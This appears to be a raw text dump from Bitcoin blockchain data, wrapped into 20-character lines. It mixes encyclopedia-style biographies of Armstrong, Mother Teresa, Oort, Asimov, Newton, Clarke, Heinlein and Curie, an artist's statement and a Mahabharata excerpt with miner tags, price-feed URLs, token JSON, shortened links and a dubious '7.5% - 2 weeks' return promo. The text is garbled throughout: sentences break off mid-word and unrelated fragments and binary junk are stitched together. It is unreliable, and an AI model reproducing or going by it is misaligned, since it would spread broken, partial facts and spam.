mand Module. Along w
ith Collins and Aldr
in, Armstrong was aw
arded the Presidenti
al Medal of Freedom
by President Richard
Nixon; President Ji
mmy Carter presented
Armstrong the Congr
essional Space Medal
of Honor in 1978; h
e and his former cre
wmates received the
Congressional Gold M
strong died in Cinci
nnati, Ohio, on Augu
st 25, 2012, at the
age of 82, after com
plications from coro
nary artery bypass s
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LeapForMankind.mp3/1
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! feeds.info/static/live/btc-usd.jR
! t digit blockhash 319812, 1=odd,R
"1322?Blessed Teresa
of Calcutta, M.C.,
commonly known as Mo
ther Teresa (26 Augu
ber 1997), was a Rom
an Catholic Religiou
s Sister and mission
ary of Albanian orig
in who lived for mos
t of her life in Ind
founded the Mission
aries of Charity, a
Roman Catholic relig
ious congregation, w
hich in 2012 consist
ed of over 4,500 sis
ters and is active i
n 133 countries. The
y run hospices and h
omes for people with
HIV/AIDS, leprosy a
nd tuberculosis; sou
p kitchens; dispensa
ries and mobile clin
ics; children's and
family counselling p
rogrammes; orphanage
s; and schools. Memb
ers of the order mus
t adhere to the vows
of chastity, povert
y and obedience, and
the fourth vow, to
give "wholehearted f
ree service to the p
oorest of the poor".
s the recipient of n
umerous honours incl
uding the 1979 Nobel
Peace Prize. In 200
3, she was beatified
as "Blessed Teresa
of Calcutta". A seco
nd miracle credited
to her intercession
is required before s
he can be recognised
as a saint by the C
controversial figur
e both during her li
fe and after her dea
th, Mother Teresa wa
s widely admired by
many for her charita
ble works, but also
widely criticised, p
articularly for her
efforts opposing con
traception and for s
ubstandard condition
s in the hospices fo
r which she was resp
onsible.MotherTeresa
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! feeds.info/static/live/btc-usd.jR
1 "total": "10000000"}
'j%0 {"desc": "sup", "name": "pflorins",
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by hyq904043187
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Mined by hongkongminers
! feeds.info/static/live/btc-usd.jR
&For cryptocoin get paid tR
Mined by sxwo47995152
! feeds.info/static/live/btc-usd.jR
1 , "name": "pfeltchgeld"}
'j%0 {"desc": "test", "total": "9999999"
! feeds.info/static/live/btc-usd.jR
1 st", "total": "9999999"}
'j%0 {"name": "pfeltchgeld", "desc": "te
Mined by wanyouyinli1
Mined by chenning88813
! feeds.info/static/live/btc-usd.jR
2 otal": "10000000"}
'j%0 {"name": "assembly_assets", "desc":
'j%1 "An asset for Assembly Assets", "t
Mined by sxwo4799515211
! feeds.info/static/live/btc-usd.jR
%j#1 mbly_Assets", "desc": "thirdtry"}
'j%0 {"total": "10000000", "name": "Asse
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Mined by zcw13623028508
'j%0 {"total": 10000000, "name": "Assemb
'j%1 ly_Assets", "desc": "Assets Of Asse
1 Koin", "desc": ""}
'j%0 {"total": 666, "name": "Mississippi
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'j%0 {"name": "Assembly_Assets", "desc":
! feeds.info/static/live/btc-usd.jR
;OMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Mined by chuntian0816
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
:2506*ALLEN LEE VAND
ment - I feel an
artists body of wor
k is his unwritten b
iography, archiving
his progress in both
craftsmanship and s
elf-discovery, all t
he while capturing t
he most personal and
essential moments i
n his life, and reve
aling his personal r
eflections.In my pai
nting, I feel free f
rom the jumble of wo
rds all too limited
in their ability to
fully illustrate an
image of my sensatio
ns and reflections.
Painting is a way to
bypass the filter o
f conscious analysis
bypassing the point
where we attempt to
name and catalog ou
r responses, which o
ften diminishes the
true glory of the mo
ment.I am free to ex
plore my dreams, ver
y often so intensely
alive that they con
tinue to exist in my
sight in the materi
al world. I have yet
to find the words c
apable of illustrati
ng such glorious vis
ions, so I paint the
m that I may relive
them, and that I mig
ht apply a pinprick
into the veil betwee
n our worlds allowin
g a speck of light t
o illuminate its exi
stence to others. I
aspire to reveal suc
h worlds to my son,
that the images from
my journey inspire
him to begin his own
exploration, for a
mere sliver of light
is enough to bring
the world gushing fo
rth, demolishing the
walls that confine
our thoughts.Althoug
h I fail to find the
words to convey my
passion, I cannot de
ny their role in my
reflection, for word
s have allowed me to
further explore the
images I have been
moved to create. For
when I write, I am
transported into the
silent realm of the
mind, where the voi
ces of human reason
and passion can be h
eard in intimate con
versation, contempla
ting the infinite di
interview, Allen Van
dever states: "I hav
e never been normal.
I have three wonder
ful sets of parents
and have lived in 13
different homes whi
le growing up. Educa
tion was interesting
- football scholars
hip, spinal injury,
chemistry major, art
major, psychology m
inor, yoga school an
d pimp school. I've
been a New Orleans s
treet artist, farm h
and, hospice worker,
and a leather S&M s
tore manager. I've w
orked for a women's
spirituality magazin
e, a TV studio, Gree
npeace, art galleri
es. I've been an own
er of an import busi
ness and a full time
artist. I have been
rich. I have been p
oor. I've lived in a
VW bus and in a bea
utiful condo on the
beach in Hawaii. I h
ave mastered lucid d
reaming and am worki
ng on lucid awakenes
s. My goal in life t
o be the best person
father/partner/arti
rn 1971 APRIL 13THGe
on: Chicago IAmTimeL
#).;2),8,#$3F48=?BCB
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! feeds.info/static/live/btc-usd.jR
Mined by qq125236648
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1G7o5H76BkW45ZdGkh3ZX2R
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
Mined by ltcproj2btc
! feeds.info/static/live/btc-usd.jR
http://coindocket.com
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
/Mined by Avalon + Huobi/
http://www.ournem.com/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
u=https://cpr.sm/DA5YKtU5bV
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Descripton of DMHTESTONE
!7.5% - 2 weeks - bit.ly/R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
Mined by klminer2014
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
http://www.coindocket.comR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
Mined by ljm181988013
! feeds.info/static/live/btc-usd.jR
File: blk00174.txt
Mined by zhanlongclam
HIJSTUVWXYZcdefghijs
STUVWXYZcdefghijstuv
%&'()*456789:CDEFGHI
JSTUVWXYZcdefghijstu
'()*56789:CDEFGHIJST
UVWXYZcdefghijstuvwx
%&'()*456789:CDEFGHI
JSTUVWXYZcdefghijstu
'()*56789:CDEFGHIJST
UVWXYZcdefghijstuvwx
!)E-)&&)T<@2EdXigbX`
()*456789:CDEFGHIJST
UVWXYZcdefghijstuvwx
*56789:CDEFGHIJSTUVW
IJSTUVWXYZcdefghijst
&'()*56789:CDEFGHIJS
TUVWXYZcdefghijstuvw
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/75:"Keep your eyes
on the stars and you
r feet on the ground
abrinaHornung.jpg"75
((((((((((((((((((((
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
zxMined by zhangzhong19821
Mined by nanjinghaowei
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
Mined by lcw88888888
]U5Mined by czj201200
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by wangxingsmile
Mined by liugonggong
! feeds.info/static/live/btc-usd.jR
Mined by q2191854548
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
[Mined by f2poolscant
Mined by liuyingxu014
u=https://cpr.sm/2xh1SMOBSx8]
! feeds.info/static/live/btc-usd.jR
/Mined by Avalon + Huobi/
! feeds.info/static/live/btc-usd.jR
9Mined by f2poolscant
mMined by miyiming2012
! feeds.info/static/live/btc-usd.jR
Mined by qq530955139
! feeds.info/static/live/btc-usd.jR
&Bring Eco Ideas to Life &R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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3325345e49899f748a44
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<197:The High Plains
Reader is celebrati
ng their 20th Year t
nd, Diane Miller, Ji
ll St John, Raul Ger
ard Gomez and J Earl
Miller at HPR's Bes
t of the Best 2014 A
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test test sdfljsldkjf
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'j%@MexicoBitcoins,32.988626,-117.272761
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1 "mikoin", "total": 555}
)j'0 {"desc": "Order over Chaos", "name":
Mined by f2poolscant
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|1477/Jan Hendrik Oo
as a Dutch astronome
r who made significa
nt contributions to
the understanding of
the Milky Way and a
pioneer in the fiel
d of radio astronomy
. His New York Times
obituary called him
ry's foremost explor
ers of the universe;
ce Agency website de
ne of the greatest a
stronomers of the 20
olutionised astronom
y through his ground
-breaking discoverie
ist of the 100 most
famous living people
. He has been descri
e Netherlands in the
forefront of postwa
ort determined that
the Milky Way rotate
s and overturned the
idea that the sun i
s at its center; he
discovered mysteriou
s invisible 'dark ma
tter' in 1932 which
is believed to make
up roughly 84.5% of
the total matter in
the universe and who
se gravitational pul
tering of stars into
galaxies and galaxi
es into connecting s
galactic halo, a gr
oup of stars orbitin
g the Milky Way but
outside the main dis
k. Additionally Oort
is responsible for
a number of importan
t insights about com
ets, including the r
ealization that thei
there was a lot more
solar system than t
he region occupied b
Oort constants, and
the Asteroid, 1691
Oort, were all named
after him. --Wikipe
diaJanOort.jpg|9889<
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/2529\Isaac Asimov (
April 6, 1992) was a
n American author an
d professor of bioch
emistry at Boston Un
iversity, best known
for his works of sc
ience fiction and fo
r his popular scienc
e books. Asimov was
one of the most prol
ific writers of all
time, having written
or edited more than
500 books and an es
timated 90,000 lette
rs and postcards. Hi
s books have been pu
blished in 9 of the
10 major categories
of the Dewey Decimal
Asimov is widely con
sidered a master of
hard science fiction
and, along with Rob
ert A. Heinlein and
Arthur C. Clarke, he
was considered one
of the "Big Three" s
cience fiction write
rs during his lifeti
me. Asimov's most fa
mous work is the Fou
ndation Series; his
other major series a
re the Galactic Empi
re series and the Ro
bot series. The Gala
ctic Empire novels a
re explicitly set in
earlier history of
the same fictional u
niverse as the Found
ation series. Later,
beginning with Foun
dation's Edge, he li
nked this distant fu
ture to the Robot an
d Spacer stories, cr
eating a unified "fu
ture history" for hi
s stories much like
those pioneered by R
obert A. Heinlein an
d previously produce
d by Cordwainer Smit
h and Poul Anderson.
He wrote hundreds o
f short stories, inc
luding the social sc
ience fiction "Night
fall", which in 1964
was voted by the Sc
ience Fiction Writer
s of America the bes
t short science fict
ion story of all tim
e. Asimov wrote the
Lucky Starr series o
f juvenile science-f
iction novels using
the pen name Paul Fr
wrote mysteries and
fantasy, as well as
much nonfiction. Mo
st of his popular sc
ience books explain
scientific concepts
in a historical way,
going as far back a
s possible to a time
when the science in
question was at its
simplest stage. He
often provides natio
nalities, birth date
s, and death dates f
or the scientists he
mentions, as well a
s etymologies and pr
onunciation guides f
or technical terms.
Examples include Gui
de to Science, the t
hree-volume set Unde
rstanding Physics, a
nd Asimov's Chronolo
gy of Science and Di
scovery, as well as
works on astronomy,
mathematics, the Bib
le, William Shakespe
are's writing, and c
was a long-time memb
er and vice presiden
t of Mensa Internati
onal, albeit relucta
ntly; he described s
ome members of that
organization as "bra
in-proud and aggress
ive about their IQs"
. He took more joy i
n being president of
the American Humani
st Association. The
asteroid 5020 Asimov
, a crater on the pl
anet Mars, a Brookly
n, New York elementa
ry school, and a lit
erary award are name
d in his honor.Isaac
||||||||||||||||||||
||||||||||||||||||||
'()*456789:CDEFGHIJS
TUVWXYZcdefghijstuvw
)*56789:CDEFGHIJSTUV
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\2813?Sir Isaac Newt
on PRS MP (25 Decemb
1726/7) was an Engl
ish physicist and ma
thematician (describ
ed in his own day as
a "natural philosop
her") who is widely
recognised as one of
the most influentia
l scientists of all
time and as a key fi
gure in the scientif
ic revolution. His b
uralis Principia Mat
hematica ("Mathemati
cal Principles of Na
tural Philosophy"),
first published in 1
687, laid the founda
tions for classical
mechanics. Newton al
so made seminal cont
ributions to optics
and shares credit wi
th Gottfried Leibniz
for the invention o
n's Principia formul
ated the laws of mot
ion and universal gr
avitation, which dom
inated scientists' v
iew of the physical
universe for the nex
t three centuries. B
y deriving Kepler's
laws of planetary mo
tion from his mathem
atical description o
f gravity, and then
using the same princ
iples to account for
the trajectories of
comets, the tides,
the precession of th
e equinoxes, and oth
er phenomena, Newton
removed the last do
ubts about the valid
ity of the heliocent
ric model of the cos
mos. This work also
demonstrated that th
e motion of objects
on Earth and of cele
stial bodies could b
e described by the s
ame principles. His
prediction that the
Earth should be shap
ed as an oblate sphe
roid was later vindi
cated by the measure
ments of Maupertuis,
La Condamine, and o
thers, which helped
convince most Contin
ental European scien
tists of the superio
rity of Newtonian me
chanics over the ear
lier system of Desca
built the first pra
ctical reflecting te
lescope and develope
d a theory of colour
based on the observ
ation that a prism d
ecomposes white ligh
t into the many colo
urs of the visible s
pectrum. He formulat
ed an empirical law
of cooling, studied
the speed of sound,
and introduced the n
otion of a Newtonian
fluid. In addition
to his work on calcu
lus, as a mathematic
ian Newton contribut
ed to the study of p
ower series, general
ised the binomial th
eorem to non-integer
exponents, develope
d Newton's method fo
r approximating the
roots of a function,
and classified most
of the cubic plane
s a fellow of Trinit
y College and the se
cond Lucasian Profes
sor of Mathematics a
t the University of
Cambridge. He was a
devout but unorthodo
x Christian and, unu
sually for a member
of the Cambridge fac
ulty of the day, he
refused to take holy
orders in the Churc
h of England, perhap
s because he private
ly rejected the doct
rine of the Trinity.
Beyond his work on
the mathematical sci
ences, Newton dedica
ted much of his time
to the study of bib
lical chronology and
alchemy, but most o
f his work in those
areas remained unpub
lished until long af
ter his death. In hi
s later life, Newton
became president of
the Royal Society.
He also served the B
ritish government as
Warden and Master o
saacNewton.jpg|6024|
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Mined by chenjialong
Mined by liang234909509
/345*I swear, since
he whole world is fr
garden is bewildere
d as to what is leaf
t distinguish the bi
rdseed from the snar
a presence more beau
tiful than venus or
whose image fills th
e mirror of the hear
take in sunset like
on't want to change,
yond the study of th
ickery and hypocrisy
rove your mind that
the cloth to shreds
rap your beautiful r
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$/mining.bitcoinaffiliatenetwork.com/
/Mined by Avalon + Huobi/
Mined by f2poolscant
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Mined by f2poolscant
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In honor of ThePOOFs
! feeds.info/static/live/btc-usd.jR
Mined by chenjialong
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
)This is the Jesse LivermoR
sV^UUMined by hjs286777
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JMined by f2poolscant
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)Crypto-Rewards Program htR
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Mined by wangxingsmile
Mined by zhouning60000
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! feeds.info/static/live/btc-usd.jR
"23>Found on Mady's
camera.EMBII.jpg/749
<9387@H\N@DWE78PmQW_
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"1781>Sir Arthur Cha
rles Clarke (16 Dece
ch 2008) was a Briti
sh science fiction w
riter, science write
r, inventor, underse
a explorer, and tele
t famous for being c
o-writer of the scre
enplay for the movie
2001: A Space Odyss
ey, considered by th
e American Film Inst
itute to be one of t
he most influential
films of all time. H
is other science fic
tion writings earned
him a number of Hug
o and Nebula awards,
along with a large
readership, making h
im into one of the m
ost distinguished fi
gures of the field.
For many years he, R
obert Heinlein, and
Isaac Asimov were kn
own as the "Big Thre
e" of science fictio
ifelong proponent of
space travel. In 19
34 while still a tee
nager, he joined the
British Interplanet
ary Society. In 1945
, he proposed a sate
llite communication
t, in 1963, won him
the Franklin Institu
te's Stuart Ballanti
ne Medal. Later he w
as the chairman of t
he British Interplan
etary Society from 1
ke was also a scienc
e writer, who was bo
th an avid popularis
er of space travel a
nd a futurist of unc
anny ability, who wo
n a Kalinga Prize (a
ward given by UNESCO
for popularising sc
ience) in 1961. Thes
e all together event
ually earned him the
moniker "prophet of
Clarke emigrated to
Sri Lanka in 1956, l
argely to pursue his
interest in scuba d
iving. That year he
discovered the under
water ruins of the a
ncient Koneswaram te
mple in Trincomalee.
his fame later on i
n the 1980s, by bein
g the host of severa
l television shows s
uch as Arthur C. Cla
rke's Mysterious Wor
ri Lanka until his d
eath. He was knighte
d in 1998 and was aw
arded Sri Lanka's hi
ghest civil honour,
Sri Lankabhimanya, i
n 2005.ArthurCClarke
6789:CDEFGHIJSTUVWXY
9:CDEFGHIJSTUVWXYZcd
6e184bb74d8bce124142
0178cbf11a847f7f9523
ae7d56b5ce30a3139811
208b|264\6e184bb74d8
bce1241420178cbf11a8
47f7f9523ae7d56b5ce3
f1421d28d3bc5bc020f4
270e27cacf8d9b526dfe
01ad6d9a81af7a42218c
d2b96579caeb785c88a7
06aba1ace490a69ae715
a20c795ca165c543cab6
/2076/Robert Anson H
einlein (July 7, 190
as an American scien
ce fiction writer. O
ften called the "dea
n of science fiction
writers", he was on
e of the most influe
ntial and controvers
ial authors of the g
enre in his time. He
set a standard for
scientific and engin
eering plausibility,
and helped to raise
the genre's standar
ds of literary quali
the first science f
iction writers to br
eak into mainstream
magazines such as Th
e Saturday Evening P
ost in the late 1940
s. He was one of the
best-selling scienc
e fiction novelists
for many decades, an
d he, Isaac Asimov,
and Arthur C. Clarke
are often considere
d to be the "Big Thr
ee" of science ficti
able writer of scien
ce fiction short sto
ries, Heinlein was o
ne of a group of wri
ters who came to pro
minence under the ed
itorship of John W.
Campbell, Jr. in his
Astounding Science
hough Heinlein denie
d that Campbell infl
uenced his writing t
ork of his science f
iction stories, Hein
lein repeatedly addr
essed certain social
themes: the importa
nce of individual li
berty and self-relia
nce, the obligation
individuals owe to t
heir societies, the
influence of organiz
ed religion on cultu
re and government, a
nd the tendency of s
ociety to repress no
nconformist thought.
He also speculated
on the influence of
space travel on huma
n cultural practices
med the first Scienc
e Fiction Writers Gr
and Master in 1974.
He won Hugo Awards f
or four of his novel
s; in addition, fift
y years after public
ation, three of his
works were awarded "
s given retrospectiv
ely for works that w
ere published before
the Hugo Awards cam
e into existence. In
his fiction, Heinle
in coined words that
have become part of
the English languag
e, including "grok"
and "waldo", and pop
ularized the terms "
TANSTAAFL" and space
marine. He also des
cribed a modern vers
ion of a waterbed in
his novel The Door
Into Summer, though
he never patented or
built one. Several
of Heinlein's works
have been adapted fo
r film and televisio
n.RobertHeinlein.jpg
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ska-Curie (7 Novembe
34) was a Polish and
naturalized-French
physicist and chemis
t who conducted pion
eering research on r
adioactivity. She wa
s the first woman to
win a Nobel Prize,
the first person (an
d only woman) to win
twice, the only per
son to win twice in
multiple sciences, a
nd was part of the C
urie family legacy o
f five Nobel Prizes.
She was also the fi
rst woman to become
a professor at the U
niversity of Paris,
and in 1995 became t
he first woman to be
entombed on her own
merits in the Panth
e was born Maria Sal
fska]) in Warsaw, in
what was then the K
ingdom of Poland, pa
rt of the Russian Em
pire. She studied at
Warsaw's clandestin
e Floating Universit
y and began her prac
tical scientific tra
ining in Warsaw. In
1891, aged 24, she f
ollowed her older si
study in Paris, wher
e she earned her hig
her degrees and cond
ucted her subsequent
scientific work. Sh
e shared the 1903 No
bel Prize in Physics
with her husband Pi
erre Curie and with
physicist Henri Becq
uerel. She won the 1
911 Nobel Prize in C
ievements included a
theory of radioacti
vity (a term that sh
e coined), technique
s for isolating radi
oactive isotopes, an
d the discovery of t
wo elements, poloniu
m and radium. Under
her direction, the w
orld's first studies
were conducted into
the treatment of ne
oplasms, using radio
active isotopes. She
founded the Curie I
nstitutes in Paris a
nd in Warsaw, which
remain major centres
of medical research
today. During World
War I, she establis
hed the first milita
ry field radiologica
a French citizen, Ma
e (she used both sur
names) never lost he
r sense of Polish id
entity. She taught h
er daughters the Pol
ish language and too
k them on visits to
Poland. She named th
e first chemical ele
ment that she discov
hich she first isola
r her native country
934 at the sanatoriu
m of Sancellemoz (Ha
ute-Savoie), France,
due to aplastic ane
mia brought on by ex
posure to radiation
ng test tubes of rad
ium in her pockets d
uring research and h
er World War I servi
ce in mobile X-ray u
nits created by her.
--WikipediaMarieCur
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F="s18002.htm">Next:
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, "O holy one, accor
ding to what rites s
hould the learned li
sten to the Bharata?
What are the fruits
(acquirable by hear
ing it)? What deitie
s are to be worshipp
ed during the severa
l <i>paranas? </i>Wh
at should be the gif
ts that one should m
ake, O holy one, at
every <i>parva </i>o
r sacred day (during
the continuance of
the recitation)? Wha
t should be the qual
ification of the rec
iter to be engaged?
Tell me all this!</p
a said, "Hear, O kin
g, what the procedur
e is, and what the f
ruits, O Bharata, ar
e that will spring f
rom one’s liste
ning (to a recitatio
n of the Bharata). E
ven this, O king of
kings, is what thou
askest me. The deiti
es of Heaven, O rule
r of Earth, came to
this world for sport
. Having achieved th
eir task, they ascen
ded once more to Hea
ven. Listen to what
I shall tell thee in
brief. In the Mahab
harata is to be foun
d the births of Rish
is and deities on th
e Earth. In this tre
atise, called Bharat
a, O foremost one of
Bharata’s race
, are to be seen in
one place the eterna
l Rudras, the Saddhy
as, and the Viswedev
as; the Adityas, the
two deities named t
he Ashvinis, the reg
ents of the World, t
he great Rishis, the
Guhyakas, the Gandh
arvas, the Nagas, th
e Vidyadharas, the S
iddhas, the diverse
deities, the Self-bo
rn visible in a body
, with many ascetics
; the Hills and Moun
tains, Oceans and Se
as and Rivers, the d
iverse tribes of Aps
aras; the Planets, t
he Years, the Half-y
ears, and the Season
s; and the whole uni
verse of mobile and
immobile entities, w
ith all the gods and
Hearing their celebr
ity, and in conseque
nce of a recitation
of their names and a
chievements, a man t
hat has committed ev
en terrible sins, wi
ll be cleansed. Havi
ng, with a concentra
ted soul and cleanse
d body, heard this h
istory duly, from th
e beginning, and hav
ing reached its end,
one should make Sra
ddha offerings, O Bh
arata, unto those (f
oremost of persons w
ho have been mention
ed in it). Unto the
Brahmanas also, O ch
ief of Bharata’
s race, should, with
due devotion and ac
cording to one’
s power, be made lar
ge gifts and diverse
kinds of gems, and
kine, and vessels of
white brass for mil
king kine, and maide
ns decked with every
ornament, and posse
ssed of every accomp
lishment suited to e
njoyment, as also di
verse kinds of conve
yances, beautiful ma
nsions, plots of lan
d, and cloths. Anima
ls also should be gi
ven, such as horses
and elephants in rag
e, and beds, and cov
ered conveyances bor
ne on the shoulders
of men, and well-dec
ked cars. Whatever o
bjects occur in the
house, of the foremo
st kind, whatever we
alth of great value
occurs in it, should
be given away unto
Brahmanas. Indeed, o
ne should give away
one’s own self,
wives, and children
irous of hearing the
Bharata, should hea
r it without a doubt
ing heart, with chee
rfulness and joy; an
d as, he proceeds li
stening to its recit
ation, he should acc
ording to the extent
of his power, make
gifts with great dev
ar how a person that
is devoted to truth
and sincerity, that
is self-restrained,
pure (in mind), and
observant of those
acts which lead to p
urity of body, that
is endued with faith
, and that has subju
gated wrath, attains
to success (in the
matter of a recitati
on of the Bharata).
He should appoint as
reciter one that is
pure (of body), tha
t is endued with goo
d and pious conduct,
that should be robe
d in white, that sho
uld have a complete
mastery over his pas
sions, that is clean
sed of all offences,
that is conversant
with every branch of
learning, that is e
ndued with faith, th
at is free from mali
ce, that is possesse
d of handsome featur
es, that is blessed,
self-restrained, tr
uthful, and with pas
sions under control,
and that is beloved
of all for the gift
s he makes and the h
onours of which he i
s the possessor.</p>
seated at his ease,
free from all bodil
y complaints, and wi
th rapt attention, s
hould recite the tex
t without too much s
lowness, without a l
abouring voice, with
out being fast or qu
ick, quietly, with s
ufficient energy, wi
thout confusing the
letters and words to
gether, in a sweet i
ntonation and with s
uch accent and empha
sis as would indicat
e the sense giving f
ull utterance to the
three and sixty let
ters of the alphabet
from the eight plac
es of their formatio
n. Bowing unto Naray
ana, and to Nara, th
at foremost of men,
as also to the godde
ss Sarasvati, should
the word Jaya be ut
stening to the Bhara
ta, O king, when rec
ited, O thou of Bhar
ata’s race, by
a reader of this kin
d, the listener, obs
ervant of vows all t
he while and cleanse
d by purificatory ri
tes, acquires valuab
le fruits. When the
first Parana is reac
hed, the hearer shou
ld gratify Brahmanas
with presents of al
l desirable objects.
By doing this, one
obtains the fruits o
f the Agnishtoma sac
rifice. He acquires
a large (celestial)
car teeming with div
erse orders of Apsar
as (that wait upon h
im). With a glad hea
rt, and with the dei
ties in his company,
he proceeds to Heav
en, his heart rapt (
Parana is reached,
the hearer acquires
the fruits of the At
iratra vow. Indeed,
he ascends a celesti
al car made entirely
of precious gems. W
earing celestial gar
lands and robes, and
decked with celesti
al unguents and alwa
ys shedding a celest
ial fragrance around
, he receives high h
onours in Heaven.</p
ird Parana is reache
d, he acquires the f
ruits of the Dwadasa
ha vow. Indeed be re
sides in Heaven for
myriads of years, li
"At the fourth Paran
a he acquires the fr
uits of the Vajapeya
p>"At the fifth, twi
ce those fruits are
his. Ascending a cel
estial car that rese
mbles the rising sun
or a blazing fire,
and with the deities
for his companions,
he goes to Heaven a
nd sports in felicit
y for myriads of yea
rs in the abode of I
the sixth Parana, tw
ice, and at the seve
nth, thrice those fr
uits become his. Asc
ending a celestial c
ar that resembles th
e summit of the Kail
asa mountains (in be
auty), that is equip
t with an altar made
of stones of lapis
lazuli and other pre
cious gems, that is
surrounded by beauti
ful objects of diver
se kinds, that is de
cked with gems and c
orals, that moves at
the will of the rid
er, and that teems w
ith waiting Apsaras,
he roves through al
l the regions of fel
icity, like a second
deity of the Sun.</
ht Parana, he acquir
es the fruits of the
Rajasuya sacrifice.
He ascends a car as
beautiful as the ri
sing moon, and unto
which are yoked stee
ds white as the rays
of the moon and end
ued with the speed o
f thought. He is ser
ved by women of the
foremost beauty and
whose faces are more
charming than the m
oon. He hears the mu
sic of the garlands
that encircle their
waists and the Nupur
as encircling their
ankles. Sleeping wit
h his head resting o
n the laps of women
of transcendent beau
ty, he awakes greatl
<p>"At the ninth Par
ana, he acquires, O
Bharata, the fruits
of that foremost of
sacrifices, viz., th
e Horse-sacrifice. A
scending on a car eq
uipt with a chamber
consisting of a top
supported by columns
of gold, furnished
with a seat made of
stones of lapis lazu
li, with windows on
all sides made of pu
re gold, and teeming
with waiting Apsara
s and Gandharvas and
other celestials, h
e blazes forth in sp
lendour. Wearing cel
estial garlands and
robes, and decked wi
th celestial unguent
s, he sports in blis
s, with deities for
his companions, in H
eaven, like a second
deity himself.</p>
tenth Parana and gra
tifying Brahmanas, h
e acquires a car whi
ch tinkles with innu
merable bells, which
is decked with flag
s and banners, which
is equipt with a se
at made of precious
gems, which has many
arches made of lapi
s lazuli, which has
a net-work of gold a
ll round, which has
turrets made of cora
ls, which is adorned
with Gandharvas and
Apsaras well-skille
d in singing, and wh
ich is fit for the r
esidence of the Righ
teous. Crowned with
a diadem of the comp
lexion of fire, deck
ed with ornaments of
gold, his person sm
eared with celestial
sandalpaste, garnis
hed with celestial w
reaths, he roves thr
ough all celestial r
egions, enjoying all
celestial objects o
f enjoyment, and end
ued with great splen
dour, through the gr
ace of the deities.<
utred, he receives h
igh honours in Heave
n for many long year
s. With Gandharvas i
n his company, for f
ull 21,000 years, he
sports in bliss wit
h Indra himself in a
bode of Indra. He ro
ves at pleasure ever
y day through the di
verse regions of the
gods, riding on cel
estial cars and conv
eyances, and surroun
ded by celestial dam
sels of transcendent
beauty. He is able
to go to the abode o
f the solar deity, o
f the lunar deity, a
nd of Siva, O king.
Indeed, he succeeds
in living in the sam
e region with Vishnu
himself. It is even
so, O monarch. Ther
e is no doubt in thi
s. A person listenin
g with faith, become
s even so. My precep
tor has said this. U
nto the reciter shou
ld be given all such
objects as he may w
ish. Elephants and s
teeds and cars and c
onveyances, especial
ly animals and the v
ehicles they draw, a
bracelet of gold, a
pair of ear-rings,
sacred threads, beau
tiful robes, and per
fumes in especial (s
hould be given). By
worshipping him as a
deity one attains t
o the regions of Vis
r this I shall decla
re what should be gi
ven away, as each <i
>parva </i>is reache
d of the <i>Bharata
</i>in course of its
recitation, unto <i
>brahmanas, </i>afte
r ascertaining their
birth, country, tru
thfulness, and great
ness, O chief of Bha
rata’s race, as
also their inclinat
ion for piety, and u
nto <i>kshatriyas </
i>too, O king, after
ascertainment of si
milar particulars. C
ausing the Brahmanas
to utter benedictio
ns, the business of
recitation should be
begun. When a <i>pa
rva </i>is finished,
the <i>brahmanas </
i>should be worshipp
ed to the best of on
e’s power. At f
irst, the reciter, c
lad in good robes an
d smeared with perfu
med paste, should, O
king, be duly fed w
ith honey and frumen
ty of the best kind.
<i>Astika-parva </i
>is being recited, <
i>brahmanas </i>shou
ld be entertained wi
th fruits and roots,
and frumenty, and h
oney and clarified b
utter, and rice boil
ed with raw sugar.</
i>Sabha-parva </i>is
being recited, <i>b
rahmanas </i>should
be fed with <i>habis
ya </i>along with <i
>apupas </i>and <i>p
upas </i>and <i>moda
kas, </i>O king.</p>
Aranyaka-parva </i>i
s being recited, sup
erior <i>brahmanas <
/i>should be fed wit
h fruits and roots.<
<i>Arani-parva </i>i
s reached, water-pot
s full of water shou
ld be given away. Ma
ny superior kinds of
delicious food, als
o rice and fruits an
d roots, and food po
ssessed of every agr
eeable attribute, sh
ould be presented un
to the <i>brahmanas.
ng the recitation of
the <i>Virata-parva
</i>diverse kinds o
f robes should be gi
ven away; and during
that of the <i>Udyo
ga-parva, </i>O chie
